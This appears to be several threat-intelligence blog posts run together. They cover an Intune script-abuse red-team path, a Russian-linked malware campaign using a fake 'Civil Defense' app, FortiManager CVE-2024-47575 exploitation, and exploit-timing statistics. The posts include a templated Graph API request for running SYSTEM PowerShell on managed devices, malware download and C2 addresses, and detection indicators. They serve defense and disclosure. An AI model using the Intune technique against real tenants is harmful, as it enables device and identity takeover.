Mandiant used the excellent ROADTools framework to gain further insight into the customer’s Entra ID environment, and discovered a service principal that was granted the DeviceManagementConfiguration.ReadWrite.All permission.

Figure 1: Service principal was granted DeviceManagementConfiguration.ReadWrite.All permissions (screenshot from ROADTools)

This permission allows the service principal to "read and write Microsoft Intune device configuration and policies".

Intune’s device management scripts are custom PowerShell scripts that can run on clients running Windows 10 and later. The ability to run scripts on local devices gives administrators an alternative to configuring devices with settings that are not available under the configuration policies or in the apps part of Intune. Management scripts are executed when the device starts, with administrative privileges (NT AUTHORITY\SYSTEM).

Figure 2: Intune management scripts are executed at startup

The DeviceManagementConfiguration.ReadWrite.All permission is sufficient to list, read, create and update management scripts through the Microsoft Graph API.

Figure 3: Device management scripts can be modified with DeviceManagementConfiguration.ReadWrite.All

The management script can easily be created or modified using the Microsoft Graph API. The following figure shows an example HTTP request to modify an existing script.

PATCH https://graph.microsoft.com/beta/deviceManagement/ deviceManagementScripts/<script id> { "@odata.type": "#microsoft.graph.deviceManagementScript", "displayName": "<display name>", "description": "<description>", "scriptContent": "<PowerShell script in base64 encoding>", "runAsAccount": "system", "enforceSignatureCheck": false, "fileName": "<filename>", "roleScopeTagIds": [ "<existing role scope tags>" ], "runAs32Bit": false }

The Graph API allows the caller to specify the PowerShell script content in Base64-encoded value, along with a display name, file name and description. The runAsAccount value can be configured as user or system, depending on the principal the script should be executed as. The roleScopeTagIds value references Scope Tags, an Intune mechanism that groups devices and users together. These can also be created and managed with the DeviceManagementConfiguration.ReadWrite.All permission. 

The DeviceManagementConfiguration.ReadWrite.All permission allowed Mandiant to move laterally to the PAWs used for Entra ID administration by modifying an existing device management script to execute a Mandiant-controlled PowerShell script. When the device reboots as part of the user’s daily work, the Intune management script is triggered and executes the malicious script. 

By launching a command-and-control implant, Mandiant could execute arbitrary commands on the PAWs. The Red Team waited for the victim to activate their privileged role through Azure Privileged Identity Management and impersonated the privileged account (e.g., through cookie or token theft), thereby obtaining privileged access to Entra ID. These steps allowed Mandiant to obtain Global Administrator privileges in Entra ID, completing the objective of this assessment.

Remediation and Recommendations

Mandiant recommends the following hardening recommendations to prevent the attack scenario:

1. Review your organization’s security principals for the DeviceManagementConfiguration.ReadWrite.All permission: Organizations using Microsoft Intune for device management should treat the DeviceManagementConfiguration.ReadWrite.All permission as sensitive, as it gives the trustee a control relationship over the Intune-managed devices, and by extension, any identities associated with the device.
   
   Mandiant recommends organizations to regularly review the permissions granted to Azure service principals, paying special attention to the DeviceManagementConfiguration.ReadWrite.All permission, as well as other sensitive permissions (e.g., RoleManagement.ReadWrite.Directory, AppRoleAssignment.ReadWrite.All and Application.ReadWrite.All).
   
   Organizations that use Intune to manage PAWs should be especially careful delegating Intune privileges (either through DeviceManagementConfiguration.ReadWrite.All or through Entra roles such as Intune Role Administrator).

2. Enable multiple admin approval for Intune: Intune supports using Access Policies to require a second administrator to approve any changes before a change is applied. This would prevent an attacker from creating or modifying management scripts with a single compromised account.

3. Consider enabling Microsoft Graph API activity logs: Enablement of Graph API Activity logs can help in detection and response endeavors providing detailed information about Graph API HTTP requests made to Microsoft Graph resources.

4. Utilize capabilities provided by Workload ID Premium licenses: When licensed for Workload-ID Premium Mandiant recommends leveraging these capabilities to:

   • Restrict privileged service principal usage from known trusted locations only. This limits the risk of unauthorized access and strengthens security by ensuring the use only from trusted locations. 
   • Enhance the security of service principals by enabling risk detections in Microsoft Identity Protection. This can proactively block access when suspicious activities or risk factors are identified.
5. Proactively monitor service principal sign-ins: Proactively monitoring sign-ins from service principals can help detect anomalies and potential threats. Integrate this data into security operations to trigger alerts and enable rapid response to unauthorized access attempts.

Through numerous adversarial emulation engagements, Red Team Assessments, and Purple Team Assessments, Mandiant has gained an in-depth understanding of the unique paths attackers may take in compromising their target’s cloud estate. Review our Technical Assurance services and contact us for more information.

In September 2024, Google Threat Intelligence Group (consisting of Google’s Threat Analysis Group (TAG) and Mandiant) discovered UNC5812, a suspected Russian hybrid espionage and influence operation, delivering Windows and Android malware using a Telegram persona named "Civil Defense". "Civil Defense" claims to be a provider of free software programs designed to enable potential conscripts to view and share crowdsourced locations of Ukrainian military recruiters. If installed with Google Play Protect disabled, these programs deliver an operating system-specific commodity malware variant to the victim alongside a decoy mapping application we track as SUNSPINNER. In addition to using its Telegram channel and website for malware delivery, UNC5812 is also actively engaged in influence activity, delivering narratives and soliciting content intended to undermine support for Ukraine's mobilization efforts.

Figure 1: UNC5812’s "Civil Defense" persona

Targeting Users on Telegram

UNC5812’s malware delivery operations are conducted both via an actor-controlled Telegram channel @civildefense_com_ua and website hosted at civildefense[.]com.ua. The associated website was registered in April 2024, but the Telegram channel was not created until early September 2024, which we judge to be when UNC5812’s campaign became fully operational.  To drive potential victims towards these actor-controlled resources, we assess that UNC5812 is likely purchasing promoted posts in legitimate, established Ukrainian-language Telegram channels. 

• On September 18th 2024, a legitimate channel with over 80,000 subscribers dedicated to missile alerts was observed promoting the "Civil Defense" Telegram channel and website to its subscribers. 

• An additional Ukrainian-language news channel promoting Civil Defense’s posts as recently as October 8th, indicating the campaign is probably still actively seeking new Ukrainian-language communities for targeted engagement.

• Channels where "Civil Defense" posts have been promoted advertise the ability to reach out to their administrations for sponsorship opportunities. We suspect this is the likely vector that UNC5812 is using to approach the respective legitimate channels to increase the operation’s reach.

Figure 2: Civil Defense promoted in Ukrainian-language missile alert and news communities

The ultimate aim of the campaign is to have victims navigate to the UNC5812-controlled "Civil Defense" website, which advertises several different software programs for different operating systems. When installed, these programs result in the download of various commodity malware families. 

• For Windows users, the website delivers a downloader tracked publicly as Pronsis Loader that is written in PHP that is compiled into Java Virtual machine (JVM) bytecode using the open source JPHP project. When executed, Prosnis Loader initiates a convoluted malware delivery chain, ultimately delivering SUNSPINNER and a commodity information stealer commonly known as PURESTEALER. 

• For Android users, the malicious APK file attempts to install a variant of the commercially available Android backdoor CRAXSRAT. Different versions of this payload were observed, including a variant containing SUNSPINNER in addition to the CRAXSRAT payload. 

• While the Civil Defense website also advertises support for macOS and iPhones, only Windows and Android payloads were available at the time of analysis.

Figure 3: Download page, translated from Ukrainian

Notably, the Civil Defense website also contains an unconventional form of social engineering designed to preempt user suspicions about APK delivery outside of the App Store and justify the extensive permissions required for the CRAXSRAT installation. 

• The website’s FAQ contains a strained justification for the Android application being hosted outside the App Store, suggesting it is an effort to "protect the anonymity and security" of its users, and directing them to a set of accompanying video instructions. 

• The Ukrainian-language video instructions then guide victims on how to disable Google Play Protect, the service used to check applications for harmful functionality when they are installed on Android devices, as well as to manually enable all permissions once the malware is successfully installed.

Figure 4: Screenshots of video instructions to turn off Google Play Protect and manually enable CRAXSRAT permissions

Anti-Mobilization Influence Operation

In parallel to its efforts to deliver malware and gain access to the devices of potential military recruits, UNC5812 is also engaged in influence activity to undermine Ukraine's wider mobilization and military recruitment efforts. The group's Telegram channel is actively used to solicit visitors and subscribers to upload videos of "unfair actions from territorial recruitment centers," content that we judge likely to be intended for follow-on exposure to reinforce UNC5812's anti-mobilization narratives and discredit the Ukrainian military. Clicking on the "Send Material" (Ukrainian: Надіслати матеріал) button opens a chat thread with an attacker-controlled https://t[.]me/UAcivildefenseUA account.

• The Civil Defense website is also interspersed with Ukrainian-language anti-mobilization imagery and content, including a dedicated news section to highlight purported cases of unjust mobilization practices. 

• Anti-mobilization content cross-posted to the group's website and Telegram channel appears to be sourced from wider pro-Russian social media ecosystems. In at least one instance, a video shared by UNC5812 was shared a day later by the Russian Embassy on South Africa's X account.

Figure 5: UNC5812's Telegram and a Russian government X account sharing the same video in close proximity, highlighting their shared focus on anti-mobilization narratives

Malware Analysis

UNC5812 operates two unique malware delivery chains for Windows and Android devices that are delivered from the group's website hosted at civildefense[.]com[.]ua. Common between these distinct delivery chains is the parallel delivery of a decoy mapping application tracked as SUNSPINNER, which displays to users a map that renders purported locations of Ukrainian military recruits from an actor-controlled command-and-control (C2) server.

SUNSPINNER

SUNSPINNER (MD5: 4ca65a7efe2e4502e2031548ae588cb8) is a decoy graphical user interface (GUI) application written using the Flutter framework and compiled for both Windows and Android environments. When executed, SUNSPINNER attempts to resolve a new "backend server" hostname from http://h315225216.nichost[.]ru/itmo2020/Student/map_markers/mainurl.json, followed by a request for map markers from https://fu-laravel.onrender[.]com/api/markers that are then rendered on the app's GUI.

Consistent with the functionality advertised on the Civil Defense website, SUNSPINNER is capable of displaying crowdsourced markers with the locations of the Ukrainian military recruiters, with an option for users to add their own markers. However, despite possessing the limited functionality required for users to register and add markers, the displayed map does not appear to have any genuine user inputs. All markers present in the JSON file pulled from SUNSPINNER's C2 infrastructure were added on the same day by the same user.

Figure 6: Decoy application for monitoring the locations of Ukrainian military recruitment staff

Windows — Pronsis Loader to PURESTEALER

The Windows payload downloaded from the Civil Defense website, CivilDefense.exe (MD5: 7ef871a86d076dac67c2036d1bb24c39), is a custom build of Pronsis Loader, a recently discovered commodity malware being operated primarily by financially motivated threat actors. 

Pronsis Loader is used to retrieve both the decoy SUNSPINNER binary and a second-stage downloader "civildefensestarter.exe" (MD5: d36d303d2954cb4309d34c613747ce58), initiating a multi-stage delivery chain using a series self-extracting archives, which ultimately executes PURESTEALER on the victim device. The second-stage downloader is written in PHP and is compiled into Java Virtual machine (JVM) bytecode using the open-source JPHP project and then built as a Windows executable file. This file is automatically executed by the CivilDefense installer. 

The final payload is PURESTEALER (MD5: b3cf993d918c2c61c7138b4b8a98b6bf), a heavily obfuscated commodity infostealer written in .NET that is designed to steal browser data, such as passwords and cookies, cryptocurrency wallets, and from various other applications such as messaging and email clients. PURESTEALER is offered for sale by "Pure Coder Team" with prices ranging from $150 for a monthly subscription to $699 for a lifetime license.

Android — CraxsRAT

The Android Package (APK) file downloaded from the Civil Defense website "CivilDefensse.apk" (MD5: 31cdae71f21e1fad7581b5f305a9d185) is a variant of the commercially available Android backdoor CRAXSRAT. CRAXSRAT provides functionality typical of a standard Android backdoor, to include file management, SMS management, contact and credential harvesting, and a series of monitoring capabilities for location, audio, and keystrokes. Similar to PURESTEALER, it's also available for sale on underground forums.

The Android sample being distributed at the time of analysis only displayed a splash screen with the "Civil Defense" logo. However, an additional identified sample (MD5: aab597cdc5bc02f6c9d0d36ddeb7e624) was found to contain the same SUNSPINNER decoy application as in the Windows delivery chain. When opened, this version requests the Android REQUEST_INSTALL_PACKAGES permission from the user, which if granted, downloads the CRAXSRAT payload from http://h315225216.nichost[.]ru/itmo2020/Student/map_markers/CivilDefense.apk.

Figure 7: Error message displayed if the user doesn’t grant REQUEST_INSTALL_PACKAGES permission

Protecting Our Users

As part of our efforts to combat serious threat actors, we use the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified websites, domains and files are added to Safe Browsing to protect users from further exploitation. 

Google also continuously monitors for Android spyware, and we deploy and constantly update protections in Google Play Protect, which offers users protection in and outside of Google Play, checking devices for potentially harmful apps regardless of the install source. Notably, UNC5812's Civil Defense website specifically included social engineering content and detailed video instructions on how the targeted user should turn off Google Play Protect and manually enable Android permissions required by CRAXSRAT in order to function. Safe Browsing also protects Chrome users on Android by showing them warnings before they visit dangerous sites. App scanning infrastructure protects Google Play and powers Verify Apps to additionally protect users who install apps from outside Google Play. 

We have also shared our findings with Ukraine's national authorities who have taken action to disrupt the campaign's reach by blocking resolution of the actor-controlled "Civil Defense" website nationally.

Summary

UNC5812's hybrid espionage and information operation against potential Ukrainian military recruits is part of a wider spike in operational interest from Russian threat actors following changes made to Ukraine's national mobilization laws in 2024. In particular, we have seen the targeting of potential military recruits rise in prominence following the launch of Ukraine's national digital military ID used to manage the details of those liable for military service and boost recruitment. Consistent with research from EUvsDisinfo, we also continue to observe persistent efforts by pro-Russia influence actors to promote messaging undermining Ukraine's mobilization drive and sowing public distrust in the officials carrying it out.

From a tradecraft perspective, UNC5812's campaign is highly characteristic of the emphasis Russia places on achieving cognitive effect via its cyber capabilities, and highlights the prominent role that messaging apps continue to play in malware delivery and other cyber dimensions of Russia's war in Ukraine. We judge that as long as Telegram continues to be a critical source of information during the war, it is almost certain to remain a primary vector for cyber-enabled activity for a range of Russian-linked espionage and influence activity. 

Indicators of Compromise

For a more comprehensive set of UNC5812 indicators of compromise, a Google Threat Intelligence Collection is available for registered users.

Indicators of Compromise

Context

civildefense[.]com[.]ua

UNC5812 landing page

t[.]me/civildefense_com_ua

UNC5812 Telegram channel

t[.]me/UAcivildefenseUA

UNC5812 Telegram account

e98ee33466a270edc47fdd9faf67d82e

SUNSPINNER decoy

h315225216.nichost[.]ru

Resolver used in SUNSPINNER decoy

fu-laravel.onrender[.]com

Hostname used in SUNSPINNER decoy

206.71.149[.]194

C2 used to resolve distribution URLs

185.169.107[.]44

Open directory used for malware distribution

d36d303d2954cb4309d34c613747ce58

Pronsis Loader dropper

b3cf993d918c2c61c7138b4b8a98b6bf

PURESTEALER

31cdae71f21e1fad7581b5f305a9d185

CRAXSRAT

aab597cdc5bc02f6c9d0d36ddeb7e624

CRAXSRAT w/ SUNSPINNER decoy 

Written by: Foti Castelan, Max Thauer, JP Glab, Gabby Roncone, Tufail Ahmed, Jared Wilson

Summary

In October 2024, Mandiant collaborated with Fortinet to investigate the mass exploitation of FortiManager appliances across 50+ potentially compromised FortiManager devices in various industries. The vulnerability, CVE-2024-47575 / FG-IR-24-423, allows a threat actor to use an unauthorized, threat actor-controlled FortiManager device to execute arbitrary code or commands against vulnerable FortiManager devices. 

Mandiant observed a new threat cluster we now track as UNC5820 exploiting the FortiManager vulnerability as early as June 27, 2024. UNC5820 staged and exfiltrated the configuration data of the FortiGate devices managed by the exploited FortiManager. This data contains detailed configuration information of the managed appliances as well as the users and their FortiOS256-hashed passwords. This data could be used by UNC5820 to further compromise the FortiManager, move laterally to the managed Fortinet devices, and ultimately target the enterprise environment.

At this time, the data sources analyzed by Mandiant did not record the specific requests that the threat actor used to leverage the FortiManager vulnerability. Additionally, at this stage of our investigations there is no evidence that UNC5820 leveraged the obtained configuration data to move laterally and further compromise the environment. As a result, at the time of publishing, we lack sufficient data to assess actor motivation or location. As additional information becomes available through our investigations, Mandiant will update this blog’s attribution assessment.

Organizations that may have their FortiManager exposed to the internet should conduct a forensic investigation immediately.

Exploitation Details

Mandiant’s earliest observed exploitation attempt occurred on June 27, 2024. On that day, multiple FortiManager devices received inbound connections from the IP address 45[.]32[.]41[.]202 on the default port TCP/541. At approximately the same time, the file system recorded the staging of various Fortinet configuration files in a Gzip-compressed archive named /tmp/.tm. This archive contained the files and folders as listed in Table 1.

Filename

Description

/var/dm/RCS

Folder containing configuration files of managed FortiGate devices

/var/dm/RCS/revinfo.db

Database containing additional information of the managed FortiGate devices

/var/fds/data/devices.txt

Contains a list of FortiGate serials and their corresponding IP addresses

/var/pm2/global.db

Global database that contains object configurations, policy packages, and header and footer sensor configuration for IPS

/var/old_fmversion

Contains current FortiManager version, build, and branch information

Table 1: Content of /tmp/.tm

On Sept. 23, 2024, Mandiant observed a second exploitation attempt with the same indicators. In both exploitation events, outbound network traffic occurred shortly after the archive creation. The amount of bytes sent to the respective destination IP addresses are slightly larger than the size of the archive. Table 2 lists the details of this activity.

Timestamp

Description

Size

2024-06-27 12:44:04

/tmp/.tm (File creation)

Unknown

2024-06-27 12:44:11

Outbound traffic to 195[.]85[.]114[.]78:443

1,819,425 bytes

2024-09-23 11:31:12

/tmp/.tm (File modification)

1,772,650 bytes

2024-09-23 11:31:19

Outbound traffic to 104[.]238[.]141[.]143:443

1,822,968 bytes

Table 2: Correlation of staged configuration data and outbound traffic of the two exploitation attempts

During the second exploitation attempt, the threat actor’s device was registered to the targeted FortiManager. Figure 1 lists the unauthorized FortiManager in the Global Objects database along with the timestamp when it was added.

Figure 1: Threat actor’s device added to Global Objects database

Once the threat actor successfully exploited the FortiManager, their unknown Fortinet device appeared in the FortiManager console.

Figure 2: Unauthorized device listed in FortiManager console

An additional indicator of successful exploitation is the addition of the unauthorized device serial number “FMG-VMTM23017412” and its corresponding IP address 45[.]32[.]41[.]202 to the file /fds/data/unreg_devices.txt. Figure 3 lists the content of this file.

FMG-VMTM23017412|45.32.41.202

Figure 3: Content of /fds/data/unreg_devices.txt

The files /fds/data/subs.dat and /fds/data/subs.dat.tmp contain additional indicators of the exploitation that include an associated disposable email address and a company name as listed in Figure 4.

SerialNumber=FMG-VMTM23017412|AccountID= [email protected]|Company=Purity Supreme|UserID=1756868

Figure 4: Content of /fds/data/subs.dat

Mandiant scraped the FortiManager’s memory image for additional artifacts of threat actor activity and detected a JSON blob containing the keywords “FMG-VMTM23017412” and “45[.]32[.]41[.]202”. This JSON blob also included a “first_tunnel_up” key, which contained the epoch time of 1726999303 as its value. This timestamp translates to 2024-09-22 10:01:43 UTC.

Figure 5: Tunnel up artifacts

Lack of Follow-On Malicious Activity

Mandiant reviewed the rootfs.gz, which is an initramfs (RAM disk) for the device that gets mounted to /bin. We did not find any malicious files created or modified during the time frame of exploitation activity. 

Google Cloud notified affected customers who showed similar activity in their environments. Additionally, Google Threat Intelligence ran retrohunts while developing detections for this activity, and manually escalated Pre-Release Detection Rule alerts to affected SecOps customers to assist with detecting exploit attempts of Fortinet devices.

Figure 6: Pre-Release Detection Rule — Suspected Zero Day Exploitation of Fortinet Device

In addition to collaborating with Mandiant, Fortinet proactively sent advance communications to its customers as an early warning on their advisory to enable customers to strengthen their security posture prior to broad public disclosure.

Timeline of Threat Actor Activity

Timestamp

Event

2024-06-27 12:44:04

Inbound network connection from 45[.]32[.]41[.]202. File creation: /tmp/.tm

2024-06-27 12:44:07

Outbound network connection to 45[.]32[.]41[.]202 on port 443

2024-06-27 12:44:11

Outbound network connection to 195[.]85[.]114[.]78 on port 443. The bytes sent are approximately equal to the size of /tmp/.tm

2024-09-22 10:01:47

Inbound network connection from 45[.]32[.]41[.]202

2024-09-22 10:01:50

Outbound network connections to 158[.]247[.]199[.]37:443 and 45[.]32[.]41[.]202:443. The connections to 158[.]247[.]199[.]37 were denied

2024-09-22 10:02:21

String indicating exploitation in /log/locallog/elog msg="Unregistered device localhost add succeeded"

2024-09-22 10:02:55

File modified: /fds/data/unreg_devices.txt Contents: “FMG-VMTM23017412|45.32.41.202”

2024-09-22 10:07:36

String indicating exploitation in /log/locallog/elog changes="Edited device settings (SN FMG-VMTM23017412)"

2024-09-23 11:31:12

Inbound network connection to destination port 541 from 45[.]32[.]41[.]202 File modified: /tmp/.tm

2024-09-23 11:31:16

Outbound network connection to 104[.]238[.]141[.]143. The bytes sent are approximately equal to the size of /tmp/.tm

Table 3: Timeline of activity

Mitigation Strategies / Workaround

1. Limit access to FortiManager admin portal for only approved internal IP addresses.

2. Only allow permitted FortiGate addresses to communicate with FortiManager.

3. Deny unknown FortiGate devices from being associated with FortiManager.

Available 7.2.5, 7.0.12, 7.4.3 and later (not functional workaround on 7.6.0).

config system global set fgfm-deny-unknown enable end

Figure 7: Configuration to deny unknown devices

Detection YARA-L

If you are a Google SecOps Enterprise+ customer, rules were released to the “Mandiant Intel Emerging Threats” rule pack (within the Windows Threats group).

Relevant Rules

• Suspicious FortiManager Inbound and Outbound Connection
• UNC5820 Fortinet Exploitation and File Download
• UNC5820 Fortinet Exploitation and non-HTTPS Command and Control
• UNC5820 Fortinet Exploitation and HTTPS Command and Control

Other SIEMs

Develop searches against Fortiguard logs for the following relevant IOCs. In particular, the Malicious Fortinet Device ID should provide a high fidelity alert if triggered.

Baseline and set thresholds for unique operations in the FortiManager logs. In particular, operations for “Add device” and “Modify device” may be rare enough for your organization to provide an actionable alert until this vulnerability can be patched.

Similarly, baseline and set thresholds for the changes field in the FortiManager logs, and consider a higher sensitivity when the changes field includes the word ‘Unregistered’.

Enumerate the Fortigate devices daily, and alert when a previously unseen device name is observed in the logs. 

Indicators of Compromise (IOCs)

A Google Threat Intelligence Collection of IOCs is available for registered users.

Network-Based IOCs

IOC

Description

45.32.41.202

UNC5820

104.238.141.143

UNC5820

158.247.199.37

UNC5820

195.85.114.78

UNC5820

Host-Based IOCs

IOC

Description

.tm

Archive of config files

9DCFAB171580B52DEAE8703157012674

MD5 hash of unreg_devices.txt

Additional Keywords

Keyword

Description

FMG-VMTM23017412

Malicious Fortinet Device ID

msg="Unregistered device localhost add succeeded"

String indicating exploitation in /log/locallog/elog

changes="Edited device settings (SN FMG-VMTM23017412)"

String indicating exploitation in /log/locallog/elog

changes="Added unregistered device to unregistered table."

String indicating exploitation in /log/locallog/elog

[email protected]

Observed in subs.dat and subs.dat.tmp. This is a disposable email address created by the threat actor.

Purity Supreme

Observed in subs.dat and subs.dat.tmp

Acknowledgements

We would like to thank Nick Simonian and Ronnie Salomonsen for their contributions.

 

Webinar

Two authors of this blog post, Foti Castelan and Max Thauer, will be presenting additional details and mitigation strategies during a Nov. 6 webinar. Register now to learn more about this threat, and how to defend against it.

Written by: Casey Charrier, Robert Weiner

Mandiant analyzed 138 vulnerabilities that were disclosed in 2023 and that we tracked as exploited in the wild. Consistent with past analyses, the majority (97) of these vulnerabilities were exploited as zero-days (vulnerabilities exploited before patches are made available, excluding end-of-life technologies). Forty-one vulnerabilities were exploited as n-days (vulnerabilities first exploited after patches are available). While we have previously seen and continue to expect a growing use of zero-days over time, 2023 saw an even larger discrepancy grow between zero-day and n-day exploitation as zero-day exploitation outpaced n-day exploitation more heavily than we have previously observed.

While our data is based on reliable observations, we note that the numbers are conservative estimates as we rely on the first reported exploitation of a vulnerability. Frequently, first exploitation dates are not publicly disclosed or are given vague timeframes (e.g., "mid-July" or "Q2 2023"), in which case we assume the latest plausible date. It is also likely that undiscovered exploitation has occurred. Therefore, actual times to exploit are almost certainly earlier than this data suggests.

Exploitation Timelines Time-to-Exploit

Time-to-exploit (TTE) is our metric for defining the average time taken to exploit a vulnerability before or after a patch is released. Historically, our analyses have seen reduced times-to-exploit year over year. Through 2018 to 2019, we observed an average TTE of 63 days. From 2020 to the start of 2021, that number decreased to 44 days. Then, across all of 2021 and 2022, the average observed TTE dropped further to 32 days, already half of our first tracked TTE starting in 2018. In 2023, we observed the largest drop in TTE thus far, with an average of just five days. This is less than a sixth of the previously observed TTE. 

Our average TTE excludes 15 total data points, including two n-days and 13 zero-days, that we identified as outliers from a standard deviation-based statistical analysis. Without the removal of these outlier TTEs, the average grows from five to 47.

Zero-Day vs. N-day Exploitation

Prior to 2023, we had observed steady ratios of n-days to zero-days, being 38:62 across 2021–2022 and 39:61 across 2020 into part of 2021. However, in 2023, this ratio shifted to 30:70, a notable departure from what we had observed previously. Given that zero-day exploitation has risen steadily over the years, the shifting ratio appears to be influenced more from the recent increase in zero-day usage and detection rather than a drop in n-day usage. It is also possible that actors had a larger number of successful attempts to exploit zero-days in 2023. Future data and analyses will show whether this is the start of a noticeable shift, or if 2023 is a one-off in this regard.

N-Day Exploitation

Consistent with our last analysis, we found that exploitation was most likely to occur within the first month of a patch being made available for an already disclosed vulnerability. Twelve percent (5) of n-days were exploited within one day, 29% (12) were exploited within one week, and over half (56%) were exploited within one month. In our last report, 25%  of the n-day vulnerabilities were exploited after the six-month mark. In 2023, all but two (5%) n-days were exploited within six months.

Disclosure to Exploit to Exploitation Timelines

Of the analyzed vulnerabilities, 41 (30%) were first exploited after the vulnerability's public disclosure. This section will focus on this subset of vulnerabilities. While we have pursued analysis of associations between exploit availability and exploitation timelines, Mandiant has continued not to observe a correlation between the two. It may be common to assume a relationship between the two data points; however, our longer-term analysis shows a distinct lack of association.

For vulnerabilities with exploits available prior to exploitation, we observed a median of 7 days from the date of disclosure (DoD) to the first public exploit release, and a median of 30 days from the exploit's release date to the date of first known exploitation. The median time from disclosure to exploitation of these vulnerabilities was 43 days.

For vulnerabilities with exploits first made available after exploitation, we observed a median time of 15 days from disclosure to exploitation. The median time from exploitation to a publicly available exploit was observed to be four days, with a median timeline from disclosure to exploit release being observed as 23 days.

These statistics are consistent with our past analyses, which have expressed non-deterministic outcomes regarding the influence of existing exploits on in-the-wild exploitation. We continue to find this true while also noting that there are other factors that affect the exploitation timeline of a given vulnerability. Potential factors include, but are not limited to, exploitation value and exploitation difficulty. To highlight one of these factors, we note that of the vulnerabilities disclosed in 2023 that received media coverage, 58% are not known to be exploited in the wild, and for those with at least one public proof of concept (PoC) or exploit, 72% are not known to be exploited in the wild. The following are two specific examples we observed that demonstrate the variance in how much of an effect an exploit's release can have on the time to in-the-wild exploitation, and that illustrate other potential influences in exploitation.

CVE-2023-28121 Use Case

CVE-2023-28121 is an improper authentication vulnerability affecting the WooCommerce Payments plugin for WordPress. This vulnerability was disclosed on March 23, 2023, and did not receive its first proof of concept or even technical details until three and a half months later on July 3, when a blog was posted outlining how to create an Administrator user without prior authentication. This was followed quickly by a Metasploit module being released on July 4 with the ability to scan for the vulnerability and exploit it to create a new Administrator user. No exploitation activity was seen immediately following the release of this PoC or Metasploit module. Instead, exploitation activity is first known to have begun on July 14, soon after another weaponized exploit was released. This exploit was first released July 11, with an upgraded version then released on July 13. Both versions of this exploit have the capability to exploit an arbitrary number of vulnerable systems in order to create a new Administrator user. Wordfence later reported that the exploitation campaign began on July 14 and activity peaked on July 16 with 1.3 million attacks observed on that day alone.

This vulnerability's timeline highlights a period of over three months where exploitation did not occur following disclosure; however, large-scale exploitation began 10 days after the first exploit was released and only three days after a second exploit with mass-exploitation capabilities was released. In this case, we can see that there is likely an increased motivation for a threat actor to exploit this vulnerability due to a functional, large-scale, and reliable exploit being made publicly available.

CVE-2023-27997 Use Case

CVE-2023-27997, also known as XORtigate, is a heap-based buffer overflow in the Secure Sockets Layer (SSL) / virtual private network (VPN) component of Fortinet FortiOS. This vulnerability was disclosed on June 11, 2023, and immediately received significant media attention, being named XORtigate prior to Fortinet even releasing their official security advisory on June 12. The disclosure was quickly followed on June 13 with two blog posts containing PoCs, and one since-deleted non-weaponized exploit on GitHub. By June 16, proof-of-concept code, scanners, and weaponized exploit code were all publicly available. While exploitation could be expected to swiftly follow the immediate attention and exploits released, it was not until around four months after disclosure, on Sept. 12, that Mandiant first observed exploitation activity. Exploitation of this vulnerability is only known by Mandiant to be performed in relatively limited and targeted campaigns. In this case, we see that public interest and exploit availability did not appear to impact the timeline of exploitation.

Use Case Comparison

One of the most likely reasons for the difference in observed timelines we see here is the difference in the reliability and ease of exploitation between the two vulnerabilities. CVE-2023-28121, which was exploited soon after exploits became available, is quite simple to exploit, requiring just one specific HTTP header to be set on an otherwise normally formatted web request. This makes large-scale and automated exploitation campaigns more plausible. On the other hand, CVE-2023-27997 requires exploiting a heap-based buffer overflow against systems which typically have several standard and non-standard protections, including data execution prevention (DEP) and address space layout randomization (ASLR), as well as navigating the logic of a custom hashing and XORing mechanism. When considering the multiple complexities involved in addition to the fact that targeted systems would likely already have multiple mitigations in place, we can see how much less time-efficient and reliable exploitation of this vulnerability would be.

The other potential factor we identified is the difference in the value provided to an attacker by exploiting the affected products. FortiOS is a security-focused product that is typically deployed, oftentimes with significant privileges, within highly sensitive environments. Therefore, exploitation of CVE-2023-27997 could provide an attacker with those same privileges, furthering the potential damage an attacker could cause. WooCommerce Payments is one of the most popular WordPress plugins, and exploitation of CVE-2023-28121 can lead to complete access of the underlying web server that the plugin is running on. However, these web servers typically exist within demilitarized zones (DMZs) or other low-privileged network segments and thus present limited value to an attacker looking to exploit the larger organization that the plugin runs within. This suggests that intended utilization is a driving consideration for an adversary. Directing more energy toward exploit development of the more difficult, yet "more valuable" vulnerability would be logical if it better aligns with their objectives, whereas the easier-to-exploit and "less valuable" vulnerability may present more value to more opportunistic adversaries.

Exploited Vulnerabilities by Vendor

Exploited vendors continue to grow in both number and variety. In 2023, we saw a 17% increase from our previous highest exploited vendor count in 2021. In recent years, Microsoft, Apple, and Google have been the most exploited vendors year over year. However, their prominence in the overall number of exploited vendors has continued to decrease, falling just below 40% this past year. This is about a 10% drop from the just under 50% we saw from 2021 to 2022. Additionally, this is one of the first times in a while that one of the three has barely made a top spot. Google had eight vulnerabilities exploited, while Adobe, the fourth most exploited vendor, had six vulnerabilities exploited. Further, 31 of the 53 vendors (58%) had only one vulnerability exploited. Attackers are diversifying their targets and seeing success in doing so. As variance in targeted products continues to grow along with exploitation frequency, defenders must meet the challenge of protecting sprawling attack surfaces.

We note that the total number of vulnerabilities affecting a vendor does not directly relate to how secure or insecure a vendor's security posture is, nor does it signify that it is "less secure" than its competitors. Ubiquity of product use and the extent of a vendor's offered products both impact the numbers we see. Given the extent of today's challenges around defending such diversified systems and networks, learning from best practices across industries will lead to some of the best approaches for seeing successful exploitation prevention.

Implications

As the amount of discovered vulnerabilities grows over time, threat actors are provided with more opportunities to take advantage of these weaknesses. Mandiant has found that exploits, for both zero-days and n-days, have been the number one initial infection vector in Mandiant Incident Response (IR) engagements for 2020, 2021, 2022, and 2023. This is pushing defenders to provide efficient detection and response as well as to adapt to events in real time. Further, patching prioritization is increasingly difficult as n-days are exploited more quickly and in a greater variety of products. This increase in available technologies expands attack surfaces, reinforcing the importance of considering how a singular vulnerable technology could affect systems and networks laterally. Segmented architectures and access control implementations should be prioritized in order to limit the extent of impacted systems and data when exploitation does occur.

After multiple years of tracking our observed TTEs, we can see that the numbers fall drastically with each analysis. Just five to six years ago, we observed an average TTE of 63 days. That number has now fallen to five days. While we are aware that better and more common threat detection capabilities are likely an aspect of growing exploitation numbers, our data clearly shows that attackers are able to move quickly enough to beat patching cycles. As threat actors shorten TTEs and have more success with zero-day exploitation, delaying patching and exposing insufficiently protected attack surfaces heightens the chance of successful attacks.

Our data has continued to show that exploit release and media attention are not predictive of exploitation timelines. While in some cases these data points are correlated, the trends do not currently show that these factors should dictate prioritization or constitute an elevated response to a given vulnerability. Exploit release and the attention received by a vulnerability should be taken into account; however, they should be considered heuristic data points alongside other factors such as the difficulty of exploitation and the value exploitation may present.

Outlook

